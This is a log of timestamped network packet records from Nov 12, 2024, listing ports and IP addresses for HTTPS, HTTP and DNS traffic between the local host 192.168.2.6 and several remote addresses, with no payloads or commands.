Nov 12, 2024 13:35:36.547267914 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.547288895 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.547300100 CET	51630	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.547306061 CET	443	51630	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.550134897 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.550173044 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.550240993 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.550405979 CET	62187	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.550416946 CET	443	62187	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.589814901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.589850903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.589864016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.589883089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.589901924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.589920044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.589936018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.589947939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.589986086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.589986086 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590101957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590112925 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590122938 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590162992 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590212107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590272903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590347052 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590363979 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590377092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590409994 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590470076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590538979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590568066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590579033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590619087 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590641022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590728998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590747118 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590778112 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590797901 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.590857983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590929985 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590941906 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.590974092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.591042042 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.625637054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625670910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625694036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625698090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.625736952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.625736952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.625797987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625859022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625861883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.625878096 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625890970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.625905991 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.625942945 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.626229048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626240969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626254082 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626266003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626285076 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.626342058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.626578093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626590014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626601934 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626611948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.626632929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.626657963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.637428045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.637557030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.637662888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.637676001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.637686968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.637726068 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.637768030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.663327932 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.663340092 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.663367987 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.663378000 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.663398027 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.663422108 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.663435936 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.663456917 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.680797100 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.680815935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.680826902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.680876970 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.680927038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.700469017 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.700480938 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.700568914 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.700579882 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.707258940 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707365036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707376003 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707386971 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707392931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.707413912 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.707448959 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.707590103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707602024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707612038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707653999 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.707676888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.707825899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707839012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707849026 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.707878113 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.707901955 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708039045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708050966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708122969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708256006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708266973 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708277941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708309889 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708332062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708468914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708477974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708487988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708501101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708533049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708581924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708723068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708735943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708746910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708780050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708796024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.708930969 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708942890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.708976030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.709933043 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.710448980 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.710462093 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.710835934 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.710844040 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.712194920 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.712507963 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.712542057 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.712886095 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.712891102 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.713243008 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.713529110 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.713541031 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.714112043 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.714117050 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.742969036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743004084 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743017912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743045092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743105888 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743139982 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743154049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743165970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743180037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743211031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743223906 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743457079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743469954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743480921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743491888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743513107 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743580103 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743695021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743751049 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743762970 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743808031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743880987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.743916988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743916988 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.743942976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.744170904 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.745620012 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.754861116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.754920006 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.754930019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.754940987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.754996061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.775209904 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.775686979 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.775711060 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.776596069 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.776601076 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.778912067 CET	53	62181	162.159.36.2	192.168.2.6
Nov 12, 2024 13:35:36.779170036 CET	62181	53	192.168.2.6	162.159.36.2
Nov 12, 2024 13:35:36.785375118 CET	53	62181	162.159.36.2	192.168.2.6
Nov 12, 2024 13:35:36.785454988 CET	62181	53	192.168.2.6	162.159.36.2
Nov 12, 2024 13:35:36.787170887 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.787473917 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.787491083 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.787815094 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.788274050 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.788347960 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.788441896 CET	51635	443	192.168.2.6	13.107.246.57
Nov 12, 2024 13:35:36.798125029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.798151016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.798170090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.798206091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.798206091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.798218012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.798321009 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.819989920 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.820003033 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.820030928 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.820041895 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.820063114 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.820095062 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:36.820111990 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.820147038 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:36.824701071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824791908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824805021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824809074 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.824829102 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.824835062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824862957 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.824903965 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824939966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.824939966 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.824975014 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824985981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.824997902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825011015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825026989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825026989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825151920 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825261116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825321913 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825352907 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825386047 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825418949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825592041 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825634003 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825700045 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825711966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825757980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825757980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825814009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825824976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825835943 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.825850964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825865030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825927019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.825999975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.826009989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.826071978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.826123953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.826136112 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.826186895 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.826229095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.826267958 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.835321903 CET	443	51635	13.107.246.57	192.168.2.6
Nov 12, 2024 13:35:36.839426994 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.839493036 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.839571953 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.839906931 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.839926958 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.839936972 CET	51633	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.839942932 CET	443	51633	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.842264891 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.842327118 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.842477083 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.842624903 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.842642069 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.842653036 CET	51634	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.842658043 CET	443	51634	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.844551086 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.844598055 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.844651937 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.844974041 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845001936 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845046997 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845057011 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845067978 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845114946 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845204115 CET	62189	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845207930 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845222950 CET	443	62189	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845230103 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845299006 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845385075 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845385075 CET	51632	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845391035 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845421076 CET	443	51632	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.845429897 CET	62190	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.845447063 CET	443	62190	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.847543955 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.847574949 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.847747087 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.847884893 CET	62191	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.847902060 CET	443	62191	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.860582113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.860619068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.860630989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.860642910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.860688925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.860688925 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.860749960 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.860761881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.860805035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861021042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861032963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861095905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861095905 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861162901 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861174107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861186028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861198902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861216068 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861221075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861253977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861253977 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861480951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861558914 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.861573935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861586094 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.861632109 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.872452974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.872524023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.872535944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.872550964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.872575998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.909013987 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.909064054 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.909112930 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.909311056 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.909328938 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.909341097 CET	51631	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.909346104 CET	443	51631	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.912126064 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.912162066 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.912234068 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.912431002 CET	62192	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:36.912445068 CET	443	62192	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:36.918112040 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.918148994 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.918160915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:36.918178082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:36.918240070 CET	51556	80	192.168.2.6	185.215.113.206
